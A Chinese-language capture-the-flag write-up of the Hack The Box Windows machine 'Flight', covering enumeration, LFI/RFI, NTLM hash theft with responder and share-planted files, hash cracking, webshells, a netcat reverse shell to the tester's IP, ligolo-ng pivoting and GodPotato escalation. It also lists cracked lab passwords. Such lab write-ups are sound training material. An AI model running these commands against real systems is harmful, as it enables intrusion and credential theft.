
Machine Info
- Difficulty: Hard
- OS: Windows
Nmap Result
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-29 21:10:16Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49703/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49735/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Enumeration

80端口是一个机票预订网站,没有什么有用信息。用ffuf遍历也没找到有用信息。用enum4linux查看smb服务:

允许匿名登录,但无法list shares:

查看ldap服务是否无需验证就可以请求信息:

需要认证。转头去看http服务,用ffuf遍历看看是否有子域名:

发现子域名school. 加入到/etc/hosts 里面并访问:

RFI -> Steal NTLM
在查看一番后只有这里最让我感觉可疑:

看到这种链接就会想起LFI,尝试一下:

请求被拦截. 探索一番后发现后端会拦截包含 .. 的请求

于是我就尝试了下全局路径:

LFI成功. 用ffuf遍历了一些常见的配置文件,都没有找到有用的信息。
此时想到靶机可能还有RFI,尝试一下:
echo '<?php phpinfo(); ?>' > phpinfo.php
# 在网页请求
http://school.flight.htb/index.php?view=http://10.10.16.8/phpinfo.php

虽然访问成功,但php并没有执行。此时想到了还可以让靶机想我请求smb连接. 先开启responder监听:
sudo responder -I tun0
#然后再请求
http://school.flight.htb/index.php?view=//10.10.16.8/test

- 原理:当windows环境内的php遇到诸如 //x.x.x.x/xxx 这样的路径时,会把这个地址理解为UNC路径,即 //服务器/共享名/文件名. 随后系统识别路径为网络路径,于是发起smb连接。(p.s. 在linux环境下则不行)
Initial Foothold
截取到了svc_apache的NTLMv2 hash,交给john本地爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt apahash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13 (svc_apache)
1g 0:00:00:02 DONE (2025-05-30 22:30) 0.3663g/s 3906Kp/s 3906Kc/s 3906KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
获取密码 S@Ss!K@*t13 有了密码后则可以用bloodhound-python远程拉取AD架构信息:

上传到bloodhound并分析:

可惜的是SVC_APACHE好像并不能做什么. 但目前获得了域内的用户:
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
WebDevs
用crackmapexec尝试看有没有密码复用:

S.Moon复用了密码.

但从bloodhound上看, S.Moon也没用什么特殊的权限. 用crackmapexec看看S.Moon的smb权限:

Users像是在C:/Users下

但并没有找到有用的信息。对Shared有写入权限,登录并查看:

里面是空的. 再看看Web

Web下是两个网站的根目录,但也没有有用的信息。在这个地方卡了许久,也确实是涉及到我的知识盲区了。看了一眼小提示,发现了这个github repo. 这个工具可以生成一系列用来窃取NTLM hash的文件,其中有的只需要有人浏览包含这个文件的目录就可以窃取NTLM hash.
- 原理:当用户在Windows资源管理器中浏览文件夹时,系统会读取文件的元数据来显示图标、缩略图等. 把缩略图加载地址换为攻击者的服务器则可能窃取NTLM hash. 在这个过程中不需要用户点击或打开文件.
clone下来运行:

然后把这些文件全部上传至shared这个共享文件夹:

有些上传失败了,不知道什么原因。但好在过了一会后抓取到了c.bum的hash:

交给john来破解并得到c.bum的密码 c.bum: Tikkycoll_431012284
在bloodhound里可以看到c.bum属于webdavs这个组:

猜测c.bum可以修改web文件夹. 如果可以,那我们就能上传一个webshell获得RCE,用crackmapexec查看c.bum smb权限:

对Web有读写权限,那我们就可以上传一个webshell了:

打开浏览器访问:

成功。用generator生成一个ps的reverse shell:

获得shell
Lateral Movement
因为我们已经有了c.bum的密码,则可以利用runas来以c.bum的身份来运行指令,但windows原生的runas需要一个interactive shell来输入密码。利用RunasCs这个工具可以直接输入命令行输入密码. 上传RunasCs并运行:

获得c.bum的shell:

在c.bum的desktop下可以找到User flag.
用netstat -ano查看开放端口发现了一个在内网开放的8000端口:

同时在C盘下发现了inetpub文件夹,这个文件夹一般是IIS服务的根目录. 在下面发现了一个development的文件夹,猜测可能是内网8000端口开放的IIS http服务器。c.bum对这个文件有写权限:

一般情况下,IIS服务使用的是一个虚拟账号IIS AppPool\DefaultAppPool 而作为一个服务账号,一般默认会开启Impersonate权限。我们可以利用ligolo-ng来把内网端口forward到我们本地。先上传一个aspx的webshell:

上传agent.exe

本地开启ligolo服务器,并用agent连接:

ligolo有一个"magic ip" 240.0.0.1, 当把路由地址设置为这个地址时,可以用kali连接240.0.0.1来访问靶机的本地端口. 设置完毕后,浏览器访问240.0.0.1:8000 :

访问cmd.aspx:

确实是IIS AppPool\DefaultAppPool这个账号:

也可以看到确实开启了Impersonate权限。接下来利用之前上传的nc.exe来获取这个用户的shell:
C:\xampp\htdocs\flight.htb\nc.exe 10.10.16.8 7777 -e cmd.exe

Privilege Escalation
因为不确定defaultapppool可以在哪些文件下读写,于是直接把xxxxPotato下载到Public/Documents下:

尝试了JuicyPotato, PrintSpoofer, GodPotato. 最后GodPotato成功。

在Administrator下找到root flag:

Happy Hacking
Comments NOTHING